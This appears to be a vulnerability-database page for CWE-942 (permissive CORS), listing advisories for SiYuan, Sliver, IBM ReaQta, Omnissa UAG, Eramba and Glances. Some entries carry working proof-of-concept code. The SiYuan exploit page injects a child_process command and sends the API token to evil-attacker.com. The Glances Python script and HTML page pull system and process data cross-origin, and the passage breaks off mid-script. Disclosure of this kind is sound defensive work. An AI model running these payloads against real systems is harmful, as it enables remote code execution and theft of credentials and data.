CWE-942
AllowedPermissive Cross-domain Security Policy with Untrusted Domains
Abstraction: Variant · Status: Incomplete
The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.
177 vulnerabilities reference this CWE, most recent first.
GHSA-68P4-J234-43MV
Vulnerability from github – Published: 2026-03-31 23:29 – Updated: 2026-04-06 16:40Summary
A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.
Details
Vulnerable files:
- kernel/server/serve.go, lines 960-963 — CORS middleware
- kernel/api/snippet.go, lines 93-128 — snippet injection endpoint
Root cause: The CORS middleware unconditionally sets:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
The Access-Control-Allow-Private-Network: true header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with Access-Control-Allow-Origin: *, any website on the internet can make authenticated cross-origin requests to the SiYuan API at 127.0.0.1:6806.
The auth middleware at kernel/model/session.go:251-280 checks the Origin header, but this check is bypassed because the browser sends the session cookie (set on 127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.
Attack chain:
1. User visits https://evil-attacker.com while SiYuan desktop is running
2. Malicious JS sends CORS preflight to http://127.0.0.1:6806 — SiYuan responds with permissive CORS headers
3. Browser sends actual POST to /api/snippet/setSnippet with the user's session cookie
4. SiYuan accepts the request and saves a malicious JS snippet
5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution
PoC
Malicious webpage (hosted on any domain):
<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
snippets: [{
id: 'exploit-' + Date.now(),
name: 'system-update',
type: 'js',
content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
enabled: true
}]
})
}).then(r => r.json()).then(d => {
console.log('Snippet injected:', d);
});
// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
// Send API token and config to attacker server
fetch('https://evil-attacker.com/collect', {
method: 'POST',
body: JSON.stringify(d.data)
});
});
</script>
</body>
</html>
Verification steps:
- Start SiYuan desktop (or Docker with
SIYUAN_ACCESS_AUTH_CODEset) - Login to SiYuan in a browser to establish a session cookie
- In the same browser, navigate to the malicious page
- Verify snippet was injected:
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
-H "Content-Type: application/json" \
-b <session-cookie> \
-d '{"type":"all","enabled":2}'
Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.
Impact
- Remote Code Execution: Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.
- Data exfiltration: The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.
- No user interaction beyond browsing: The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.
- Affects all desktop users: SiYuan desktop runs on
127.0.0.1:6806by default. TheAccess-Control-Allow-Private-Network: trueheader explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack. - Persistence: The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34449"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:29:00Z",
"nvd_published_at": "2026-03-31T22:16:19Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron\u0027s Node.js context with full OS access the next time the user opens SiYuan\u0027s UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.\n\n### Details\n\n**Vulnerable files:**\n- `kernel/server/serve.go`, lines 960-963 \u2014 CORS middleware\n- `kernel/api/snippet.go`, lines 93-128 \u2014 snippet injection endpoint\n\n**Root cause:** The CORS middleware unconditionally sets:\n```\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Private-Network: true\n```\n\nThe `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome\u0027s Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.\n\nThe auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.\n\n**Attack chain:**\n1. User visits `https://evil-attacker.com` while SiYuan desktop is running\n2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` \u2014 SiYuan responds with permissive CORS headers\n3. Browser sends actual POST to `/api/snippet/setSnippet` with the user\u0027s session cookie\n4. SiYuan accepts the request and saves a malicious JS snippet\n5. The snippet executes in Electron\u0027s renderer process with Node.js integration, achieving arbitrary code execution\n\n### PoC\n\n**Malicious webpage (hosted on any domain):**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eInnocent looking page\u003c/h1\u003e\n\u003cscript\u003e\n// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js\nfetch(\u0027http://127.0.0.1:6806/api/snippet/setSnippet\u0027, {\n method: \u0027POST\u0027,\n credentials: \u0027include\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify({\n snippets: [{\n id: \u0027exploit-\u0027 + Date.now(),\n name: \u0027system-update\u0027,\n type: \u0027js\u0027,\n content: \u0027require(\"child_process\").exec(\"id \u003e /tmp/siyuan-rce-proof\")\u0027,\n enabled: true\n }]\n })\n}).then(r =\u003e r.json()).then(d =\u003e {\n console.log(\u0027Snippet injected:\u0027, d);\n});\n\n// Step 2 (optional): Exfiltrate API token and all notes\nfetch(\u0027http://127.0.0.1:6806/api/system/getConf\u0027, {\n method: \u0027POST\u0027,\n credentials: \u0027include\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027}\n}).then(r =\u003e r.json()).then(d =\u003e {\n // Send API token and config to attacker server\n fetch(\u0027https://evil-attacker.com/collect\u0027, {\n method: \u0027POST\u0027,\n body: JSON.stringify(d.data)\n });\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Verification steps:**\n\n1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set)\n2. Login to SiYuan in a browser to establish a session cookie\n3. In the same browser, navigate to the malicious page\n4. Verify snippet was injected:\n```bash\ncurl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \\\n -H \"Content-Type: application/json\" \\\n -b \u003csession-cookie\u003e \\\n -d \u0027{\"type\":\"all\",\"enabled\":2}\u0027\n```\n\n**Tested and confirmed on SiYuan v3.6.1 (Docker).** The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated \u2014 all in a single page load.\n\n### Impact\n\n- **Remote Code Execution:** Any website can execute arbitrary OS commands on the user\u0027s machine via Electron\u0027s Node.js integration. The attacker gains full control with the user\u0027s privileges.\n- **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.\n- **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.\n- **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome\u0027s Private Network Access protection that would otherwise block this attack.\n- **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.",
"id": "GHSA-68p4-j234-43mv",
"modified": "2026-04-06T16:40:06Z",
"published": "2026-03-31T23:29:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34449"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/issues/17246"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection"
}
GHSA-6FPF-248C-M7WM
Vulnerability from github – Published: 2026-03-31 23:07 – Updated: 2026-03-31 23:07A single click on a malicious link gives an unauthenticated attacker immediate, silent control over every active C2 session or beacon, capable of exfiltrating all collected target data (e.g. SSH keys, ntds.dit) or destroying the entire compromised infrastructure, entirely through the operator's own browser.
Description
The Sliver MCP server runs inside the Sliver Client and binds an unauthenticated HTTP and SSE interface to localhost:8080 by default. The service returns a permissive Access-Control-Allow-Origin: * header on all responses.
Because this server is client-side, the attack surface is distributed across every individual operator in the operation. Any arbitrary website can issue cross-origin requests and interact with the MCP interface via an operator's browser, no credentials required.
If the interface is misconfigured to bind to all interfaces (0.0.0.0), the vulnerability escalates from a client-side CSRF/CORS issue to direct, unauthenticated remote access from any actor on the network.
Exposed Methods
Exploitation grants unauthorized access to the following MCP tools:
- list_sessions_and_beacons
- fs_ls, fs_pwd, fs_cd
- fs_cat
- fs_rm, fs_mv, fs_cp, fs_mkdir
- fs_chmod, fs_chown
PoC
- Start the Sliver client with MCP enabled (default
localhost:8080) - Open a browser and load a page containing the Proof of Concept JavaScript.
- Observe that the page successfully lists sessions and can issue filesystem commands against live implants, with no authentication
Impact Assessment
Successful exploitation results in total operational compromise.
- Direct Infrastructure Exposure: If misconfigured to 0.0.0.0, the C2 framework becomes fully accessible to any actor on the network or internet without requiring operator interaction.
- Information Leakage: Complete visibility into active sessions, deployed beacons, and file system structures (list_sessions_and_beacons, fs_ls, fs_pwd).
- Arbitrary File Read: Covert exfiltration of any target data (e.g., SSH keys, ntds.dit) through the C2 channel (fs_cat).
- Integrity & Availability Loss: Arbitrary deletion or modification of files on compromised targets, leading to potential sabotage or denial of service (fs_rm, fs_mv, fs_cp).
Severity: Critical
Attack Scenarios
Scenario 1: Data Exfiltration via Drive-by Execution (Default Localhost) An operator clicks a link to a benign-looking site hosting malicious JavaScript (e.g. via open redirect). The script executes commands against localhost:8080, retrieves the operator's target list, and silently downloads sensitive files (e.g., a target's ntds.dit) using the operator's existing C2 connections.
Scenario 2: Campaign Neutralization (Default Localhost) A malicious site lures an operator to a controlled domain. Embedded JavaScript immediately issues fs_rm commands across all active implants, mass-deleting beacons and permanently severing operator access to the target network in a single click.
Scenario 3: Direct Takeover (0.0.0.0 Misconfiguration) An operator configures the MCP interface to listen on 0.0.0.0 for team access. An external attacker scans the network, discovers the exposed port, and directly issues unauthenticated API calls to hijack active sessions, drop connections, or exfiltrate data.
Technical Root Cause
The vulnerability stems from an insecure integration with the mcp-go library. While the library hardcodes permissive CORS (Access-Control-Allow-Origin: *), it also fails to validate the Content-Type header. This allows an attacker to use Simple Requests (e.g., text/plain) to bypass the browser's CORS preflight (OPTIONS) check entirely, making the attack highly reliable across all modern browsers without any additional techniques.
Furthermore, the Sliver implementation fails to implement any authentication middleware or origin restrictions to protect the sensitive RPC interface, meaning even if the CORS behavior were corrected upstream in mcp-go, the endpoint would remain fully unauthenticated.
## Demo
https://github.com/user-attachments/assets/b18216c2-2c0b-41a2-aa39-229b3f148c24
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/bishopfox/sliver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34227"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:07:48Z",
"nvd_published_at": "2026-03-31T16:16:32Z",
"severity": "MODERATE"
},
"details": "A single click on a malicious link gives an unauthenticated attacker immediate, silent control over every active C2 session or beacon, capable of exfiltrating all collected target data (e.g. SSH keys, `ntds.dit`) or destroying the entire compromised infrastructure, entirely through the operator\u0027s own browser.\n\n## Description\nThe Sliver MCP server runs inside the Sliver Client and binds an unauthenticated HTTP and SSE interface to `localhost:8080` by default. The service returns a permissive `Access-Control-Allow-Origin: *` header on all responses.\n\nBecause this server is client-side, the attack surface is distributed across every individual operator in the operation. Any arbitrary website can issue cross-origin requests and interact with the MCP interface via an operator\u0027s browser, no credentials required.\n\nIf the interface is misconfigured to bind to all interfaces (`0.0.0.0`), the vulnerability escalates from a client-side CSRF/CORS issue to direct, unauthenticated remote access from any actor on the network.\n\n\n## Exposed Methods\nExploitation grants unauthorized access to the following MCP tools:\n- `list_sessions_and_beacons`\n- `fs_ls`, `fs_pwd`, `fs_cd`\n- `fs_cat`\n- `fs_rm`, `fs_mv`, `fs_cp`, `fs_mkdir`\n- `fs_chmod`, `fs_chown`\n\n## PoC \n1. Start the Sliver client with MCP enabled (default `localhost:8080`)\n2. Open a browser and load a page containing the [Proof of Concept JavaScript](https://github.com/skoveit/CVE-2026-34227).\n3. Observe that the page successfully lists sessions and can issue filesystem commands against live implants, with no authentication\n\n## Impact Assessment\nSuccessful exploitation results in total operational compromise.\n- **Direct Infrastructure Exposure:** If misconfigured to `0.0.0.0`, the C2 framework becomes fully accessible to any actor on the network or internet without requiring operator interaction.\n- **Information Leakage:** Complete visibility into active sessions, deployed beacons, and file system structures (`list_sessions_and_beacons`, `fs_ls`, `fs_pwd`).\n- **Arbitrary File Read:** Covert exfiltration of any target data (e.g., SSH keys, `ntds.dit`) through the C2 channel (`fs_cat`).\n- **Integrity \u0026 Availability Loss:** Arbitrary deletion or modification of files on compromised targets, leading to potential sabotage or denial of service (`fs_rm`, `fs_mv`, `fs_cp`).\n\n**Severity: Critical**\n\n\n\n## Attack Scenarios\n**Scenario 1: Data Exfiltration via Drive-by Execution (Default Localhost)** An operator clicks a link to a benign-looking site hosting malicious JavaScript (e.g. via open redirect). The script executes commands against `localhost:8080`, retrieves the operator\u0027s target list, and silently downloads sensitive files (e.g., a target\u0027s `ntds.dit`) using the operator\u0027s existing C2 connections.\n\n **Scenario 2: Campaign Neutralization (Default Localhost)** A malicious site lures an operator to a controlled domain. Embedded JavaScript immediately issues `fs_rm` commands across all active implants, mass-deleting beacons and permanently severing operator access to the target network in a single click.\n\n **Scenario 3: Direct Takeover (0.0.0.0 Misconfiguration)** An operator configures the MCP interface to listen on `0.0.0.0` for team access. An external attacker scans the network, discovers the exposed port, and directly issues unauthenticated API calls to hijack active sessions, drop connections, or exfiltrate data.\n \n \n## Technical Root Cause\nThe vulnerability stems from an insecure integration with the `mcp-go` library. While the library hardcodes permissive CORS (`Access-Control-Allow-Origin: *`), it also fails to validate the `Content-Type` header. This allows an attacker to use Simple Requests (e.g., `text/plain`) to bypass the browser\u0027s CORS preflight (`OPTIONS`) check entirely, making the attack highly reliable across all modern browsers without any additional techniques.\n\nFurthermore, the Sliver implementation fails to implement any authentication middleware or origin restrictions to protect the sensitive RPC interface, meaning even if the CORS behavior were corrected upstream in `mcp-go`, the endpoint would remain fully unauthenticated.\n\n\n---\n\n ## Demo\n \nhttps://github.com/user-attachments/assets/b18216c2-2c0b-41a2-aa39-229b3f148c24",
"id": "GHSA-6fpf-248c-m7wm",
"modified": "2026-03-31T23:07:48Z",
"published": "2026-03-31T23:07:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-6fpf-248c-m7wm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34227"
},
{
"type": "PACKAGE",
"url": "https://github.com/BishopFox/sliver"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Sliver One-Click Remote Access: Insecure CORS \u0026 Unauthenticated MCP Interface"
}
GHSA-6J5P-P5GV-2C73
Vulnerability from github – Published: 2024-11-14 12:31 – Updated: 2024-11-14 12:31IBM Security ReaQta 3.12 is vulnerable to cross-site scripting. This vulnerability allows a privileged user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
{
"affected": [],
"aliases": [
"CVE-2024-45642"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-14T12:15:18Z",
"severity": "MODERATE"
},
"details": "IBM Security ReaQta 3.12 is vulnerable to cross-site scripting. This vulnerability allows a privileged user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.",
"id": "GHSA-6j5p-p5gv-2c73",
"modified": "2024-11-14T12:31:03Z",
"published": "2024-11-14T12:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45642"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7172212"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7HQV-M3MR-CV2V
Vulnerability from github – Published: 2025-04-17 15:32 – Updated: 2025-04-21 21:30Omnissa UAG contains a Cross-Origin Resource Sharing (CORS) bypass vulnerability. A malicious actor with network access to UAG may be able to bypass administrator-configured CORS restrictions to gain access to sensitive networks.
{
"affected": [],
"aliases": [
"CVE-2025-25234"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T15:15:54Z",
"severity": "HIGH"
},
"details": "Omnissa UAG contains a Cross-Origin Resource Sharing (CORS) bypass vulnerability.\u00a0A malicious actor with network access to UAG may be able to bypass administrator-configured CORS restrictions to gain access to sensitive networks.",
"id": "GHSA-7hqv-m3mr-cv2v",
"modified": "2025-04-21T21:30:29Z",
"published": "2025-04-17T15:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25234"
},
{
"type": "WEB",
"url": "https://static.omnissa.com/sites/default/files/OMSA-2025-0002.pdf"
},
{
"type": "WEB",
"url": "https://www.omnissa.com/omnissa-security-response"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7MF2-39XH-3VQ6
Vulnerability from github – Published: 2026-01-13 15:37 – Updated: 2026-01-15 00:31A CORS misconfiguration in Eramba Community and Enterprise Editions v3.26.0 allows an attacker-controlled Origin header to be reflected in the Access-Control-Allow-Origin response along with Access-Control-Allow-Credentials: true. This permits malicious third-party websites to perform authenticated cross-origin requests against the Eramba API, including endpoints like /system-api/login and /system-api/user/me. The response includes sensitive user session data (ID, name, email, access groups), which is accessible to the attacker's JavaScript. This flaw enables full session hijack and data exfiltration without user interaction. Eramba versions 3.23.3 and earlier were tested and appear unaffected. The vulnerability is present in default installations, requiring no custom configuration.
{
"affected": [],
"aliases": [
"CVE-2025-55462"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T15:15:58Z",
"severity": "MODERATE"
},
"details": "A CORS misconfiguration in Eramba Community and Enterprise Editions v3.26.0 allows an attacker-controlled Origin header to be reflected in the Access-Control-Allow-Origin response along with Access-Control-Allow-Credentials: true. This permits malicious third-party websites to perform authenticated cross-origin requests against the Eramba API, including endpoints like /system-api/login and /system-api/user/me. The response includes sensitive user session data (ID, name, email, access groups), which is accessible to the attacker\u0027s JavaScript. This flaw enables full session hijack and data exfiltration without user interaction. Eramba versions 3.23.3 and earlier were tested and appear unaffected. The vulnerability is present in default installations, requiring no custom configuration.",
"id": "GHSA-7mf2-39xh-3vq6",
"modified": "2026-01-15T00:31:38Z",
"published": "2026-01-13T15:37:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55462"
},
{
"type": "WEB",
"url": "https://discussions.eramba.org/t/release-3-28-0/7860"
},
{
"type": "WEB",
"url": "http://eramba.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7P93-6934-F4Q7
Vulnerability from github – Published: 2026-03-30 17:00 – Updated: 2026-04-27 15:23Summary
The Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).
Details
File: glances/server.py, class GlancesXMLRPCHandler, line 41
def send_my_headers(self):
self.send_header("Access-Control-Allow-Origin", "*")
This header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.
The REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.
PoC
Prerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.
Step 1. Start the Glances XML-RPC server on the target machine:
glances -s -p 61209
Step 2. From any machine, run the Python PoC to confirm the issue server-side:
python3 poc_test.py TARGET_IP 61209
Step 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click "Steal System Data". The page will display the full system monitoring data retrieved cross-origin.
Step 4. Alternatively, paste this into any browser console while on any website:
fetch("http://TARGET_IP:61209/RPC2", {
method: "POST",
headers: {"Content-Type": "text/plain"},
body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
}).then(r => r.text()).then(d => {
let m = d.match(/<string>([\s\S]*?)<\/string>/);
let data = JSON.parse(m[1].replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&"));
console.log("Hostname:", data.system.hostname);
console.log("Processes:", data.processlist.length);
console.log("First process cmdline:", data.processlist[0].cmdline);
});
Verified output from testing on Glances 4.5.3_dev01 (current main branch):
[+] HTTP Status: 200
[+] Access-Control-Allow-Origin: *
[+] Successfully retrieved system data cross-origin.
Hostname: claude
OS: Linux 6.8.0-1024-gcp
Process count: 125
Top processes include full command lines with arguments
Total data categories exposed: 35
Impact
Any user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.
poc_test.py
#!/usr/bin/env python3
"""
PoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration
This script simulates the browser-based attack by sending a POST request with
Content-Type: text/plain (CORS simple request) to the Glances XML-RPC server.
The server responds with Access-Control-Allow-Origin: * which allows any
webpage to read the full response containing system monitoring data.
Usage: python3 poc_test.py [target_host] [target_port]
Default: python3 poc_test.py 127.0.0.1 61209
"""
import http.client
import json
import sys
import xmlrpc.client
def main():
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209
print(f"[*] Target: {host}:{port}")
print(f"[*] Simulating cross-origin request (Content-Type: text/plain)")
print()
conn = http.client.HTTPConnection(host, port, timeout=10)
# XML-RPC payload sent as text/plain to avoid CORS preflight
payload = '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
headers = {
"Content-Type": "text/plain",
"Origin": "http://evil-attacker.com",
}
try:
conn.request("POST", "/RPC2", body=payload, headers=headers)
response = conn.getresponse()
except Exception as e:
print(f"[-] Connection failed: {e}")
sys.exit(1)
print(f"[+] HTTP Status: {response.status}")
cors = response.getheader("Access-Control-Allow-Origin")
print(f"[+] Access-Control-Allow-Origin: {cors}")
print()
if cors != "*":
print("[-] CORS header is not wildcard. Attack would not work.")
sys.exit(1)
data = response.read()
result = xmlrpc.client.loads(data)[0][0]
parsed = json.loads(result)
print("[+] Successfully retrieved system data cross-origin.")
print()
print("=== Stolen System Information ===")
print()
system = parsed.get("system", {})
print(f"Hostname: {system.get('hostname', 'N/A')}")
print(f"OS: {system.get('os_name', 'N/A')} {system.get('os_version', '')}")
print(f"Platform: {system.get('platform', 'N/A')}")
print(f"Distribution: {system.get('linux_distro', 'N/A')}")
print()
cpu = parsed.get("cpu", {})
print(f"CPU user: {cpu.get('user', 'N/A')}%")
print(f"CPU system: {cpu.get('system', 'N/A')}%")
print(f"CPU cores: {cpu.get('cpucore', 'N/A')}")
print()
mem = parsed.get("mem", {})
total_mb = round((mem.get("total", 0)) / 1024 / 1024)
used_mb = round((mem.get("used", 0)) / 1024 / 1024)
print(f"Memory: {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)")
print()
ip_info = parsed.get("ip", {})
print(f"IP Address: {ip_info.get('address', 'N/A')}")
print(f"Subnet Mask: {ip_info.get('mask', 'N/A')}")
print()
procs = parsed.get("processlist", [])
print(f"Process count: {len(procs)}")
print()
print("Top 5 processes by CPU (with command lines):")
for p in sorted(procs, key=lambda x: x.get("cpu_percent", 0), reverse=True)[:5]:
cmdline = p.get("cmdline", [])
cmd = " ".join(cmdline) if isinstance(cmdline, list) else str(cmdline)
print(f" PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}")
print()
print(f"[+] Total data categories exposed: {len(parsed.keys())}")
print(f"[+] Categories: {', '.join(sorted(parsed.keys()))}")
if __name__ == "__main__":
main()
poc_cors_xmlrpc.html
<!DOCTYPE html>
<html>
<head><title>Glances XML-RPC CORS PoC</title></head>
<body>
<h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2>
<p>Target: <input id="target" value="http://127.0.0.1:61209" size="40"></p>
<button onclick="exploit()">Steal System Data</button>
<pre id="output" style="background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;"></pre>
<script>
async function exploit() {
const target = document.getElementById("target").value;
const out = document.getElementById("output");
out.textContent = "[*] Sending cross-origin XML-RPC request to " + target + "/RPC2\n";
out.textContent += "[*] Content-Type: text/plain (CORS simple request, no preflight)\n\n";
try {
const resp = await fetch(target + "/RPC2", {
method: "POST",
headers: {"Content-Type": "text/plain"},
body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
});
out.textContent += "[+] Response status: " + resp.status + "\n";
out.textContent += "[+] CORS header: " + resp.headers.get("Access-Control-Allow-Origin") + "\n\n";
const xml = await resp.text();
const match = xml.match(/<string>([\s\S]*?)<\/string>/);
if (match) {
const data = JSON.parse(match[1].replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&"));
out.textContent += "[+] === STOLEN SYSTEM DATA ===\n\n";
out.textContent += "Hostname: " + (data.system?.hostname || "N/A") + "\n";
out.textContent += "OS: " + (data.system?.os_name || "N/A") + " " + (data.system?.os_version || "") + "\n";
out.textContent += "CPU cores: " + (data.cpu?.cpucore || "N/A") + "\n";
out.textContent += "CPU usage: " + (data.cpu?.user || "N/A") + "% user\n";
out.textContent += "Memory: " + Math.round((data.mem?.used||0)/1024/1024) + "MB / " + Math.round((data.mem?.total||0)/1024/1024) + "MB\n";
out.textContent += "Processes: " + (data.processlist?.length || 0) + "\n\n";
